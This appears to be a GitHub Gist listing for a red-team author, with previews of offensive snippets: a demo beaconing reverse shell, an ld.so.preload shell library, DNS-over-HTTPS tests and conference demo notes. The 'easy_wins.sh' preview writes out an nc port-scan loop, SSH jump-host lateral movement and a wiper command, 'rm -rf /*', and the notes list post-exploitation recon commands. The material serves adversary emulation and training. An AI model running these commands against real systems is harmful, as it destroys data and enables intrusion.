Skip to content

Instantly share code, notes, and snippets.

View magisterquis's full-sized avatar

Stuart magisterquis

View GitHub Profile
@magisterquis
magisterquis / demoshell.go
Last active April 1, 2024 12:12
Beaconing shell, useful for demos. Catch it with netcat.
// demoshell is a nifty beaconing shell useful for demos
package main
/*
* demoshell.go
* Simple reverse shell used in demos
* By J. Stuart McMurray
* Created 20180331
* Last Modified 20180331
*/
@magisterquis
magisterquis / easy_wins.sh
Created October 26, 2018 19:31
Easy Emulation Wins
#Port Scanning
for p in `jot 65535`; do
nc -vz TARGET $p
done 2>&1 | tee portscan.out
#Lateral Movement
ssh -J REDIR1,REDIR2,REDIR3,REDIR4 user@TARGET
#Wiper
ssh TARGET rm -rf /*
@magisterquis
magisterquis / quickdohtest.sh
Created October 26, 2018 21:09
Quick DNS over HTTPS test
https://dns.google.com/resolve?type=A&name=5468697320697320612074657374.example.com
@magisterquis
magisterquis / evershell.c
Created February 10, 2019 03:10
Evershell, a little library that gets loaded by ld.so.preload.
/*
* evershell.c
* Little library to spawn a shell
* By J. Stuart McMurray
* Created 20190109
* Last Modified 20190109
*/
#include <sys/socket.h>
#include <sys/wait.h>
@magisterquis
magisterquis / pcaphelloworld.c
Last active November 21, 2022 21:26
Hello, World! using pcap_inject.
/*
* pcaphelloworld.c
* Simple libpcap program
* By J. Stuart McMurray
* Created 20190527
* Last Modified 20190527
*/
#include <arpa/inet.h>
@magisterquis
magisterquis / offensive_pcap_links
Last active October 1, 2019 04:35
Links for Offensive PCAP
@magisterquis
magisterquis / qddoh.go
Last active August 5, 2019 09:33
Quick and Dirty DNS-over-HTTPS in Go
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
@magisterquis
magisterquis / tapup.c
Last active September 11, 2019 17:38
/*
* tapup.c
* Bring up a tap device and discard frames
* By J. Stuart McMurray
* Created 20190911
* Last Modified 20190911
*/
#include <linux/if.h>
#include <linux/if_tun.h>
@magisterquis
magisterquis / notes
Last active October 12, 2019 14:23
Notes and links for "Unix Admins, Go H4x0r!" demo, BSides Puerto Rico 2019
Link to the slides: https://docs.google.com/presentation/d/1D5_68h5EgEYCRDh_gpVRUc22xazUf5s0u7wBK_C8zkQ
Speakers' twitter handles: @fin_ack (Fernando)
@magisterquis (Stuart)
Commands executed during the demo:
ssh -v joe@10.1.1.5
ps awwwfux
egrep -A1 '^[sudo]{4}' .*history
sudo -l